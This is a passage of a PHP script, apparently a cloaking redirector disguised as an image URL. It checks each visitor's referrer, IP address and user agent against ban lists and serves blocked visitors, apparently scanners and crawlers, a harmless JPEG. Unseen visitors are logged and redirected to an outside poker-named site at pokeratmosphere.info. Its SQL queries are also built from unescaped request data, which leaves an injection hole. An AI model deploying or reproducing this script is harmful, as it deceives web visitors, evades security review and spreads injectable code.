1){
$check_host[] = 'host = "'.implode('.',$ref_host).'"';
array_shift($ref_host);
}
$check_host[] = 'host = "'.implode('.',$ref_host).'"';
$sql = "SELECT * FROM `banned_referrers` WHERE ".implode(' OR ',$check_host);
$res = mysql_query($sql);
if($res){
if(mysql_num_rows($res) > 0){
$banned = true;
while($r = mysql_fetch_assoc($res)){
echo __LINE__.':::'.$r['host'].' Banned
';
}
}
}
}
/*\
This is to check both the remote_addr and x_forwarded_for info
can block a single IP like 127.0.0.1 or a range like 64.35.*.*
*/
$remote_ips = array();
preg_match_all('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/',$_SERVER['REMOTE_ADDR'],$IPs);
foreach($IPs[0] as $ip){
$remote_ips[] = $ip;
}
preg_match_all('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/',$_SERVER['HTTP_X_FORWARDED_FOR'],$IPs);
foreach($IPs[0] as $ip){
$remote_ips[] = $ip;
}
foreach($remote_ips as $ip){
$user_ip = explode('.',$ip);
$sql = "SELECT g1,g2,g3,g4 FROM banned_ips WHERE \n".
"(g1 = '".$user_ip[0]."' OR g1 = '*') AND \n".
"(g2 = '".$user_ip[1]."' OR g2 = '*') AND \n".
"(g3 = '".$user_ip[2]."' OR g3 = '*') AND \n".
"(g4 = '".$user_ip[3]."' OR g4 = '*')";
$res = mysql_query($sql);
if(mysql_num_rows($res) > 0){
$banned = true;
while($r = mysql_fetch_assoc($res)){
echo __LINE__.':::'.implode('.',$r)." ($ip)
";
}
}
}
/*
This is the user agent check. Rules are in ua_rules example rules are:
/firefox/i (case-insensive)
/Firefox/ (Case-sensitive)
/[Ff]irefox/ (Case-semisensitive)
Note: the slashes are REQUIRED
*/
$fp = fopen('ua_rules.txt','r');
if($fp){
while(!feof($fp)){
$rule = trim(fgets($fp));
if($rule){
if(preg_match("$rule",$_SERVER['HTTP_USER_AGENT'])){
$banned = true;
echo __LINE__.':::'.$rule.':::'.$_SERVER['HTTP_USER_AGENT'].'
';
}
}else{
// do nothing
}
}
}
$info = ob_get_contents();
ob_end_clean();
error_reporting(0);
if($banned){
if($_GET['debug']){
echo $info;
}else{
header('content-type: image/jpeg');
echo file_get_contents($pathtojpg);
}
}else{
$dtime = time();
$del = $dtime - 500800;
mysql_query("DELETE FROM tableone WHERE vtime < $del");
$ipaddress = $_SERVER['REMOTE_ADDR'];
$ipquery = mysql_query("SELECT * FROM tableone WHERE ip='$ipaddress'");
if(mysql_num_rows($ipquery) < 1) {
mysql_query("INSERT INTO tableone (vtime, ip) values ('$dtime', '$ipaddress')");
$random=rand(1, 4);
switch ($random) {
case 1:
header('Location: http://pokeratmosphere.info/smile_redirect.php');
break;
case 2:
header('Location: http://pokeratmosphere.info/smile_redirect.php');
break;
case 3:
header('Location: http://pokeratmosphere.info/smile_redirect.php');
break;
case 4:
header('Location: http://pokeratmosphere.info/smile_redirect.php');
break;
}
}else{
header('content-type: image/jpeg');
echo file_get_contents($pathtojpg);
}
}
?>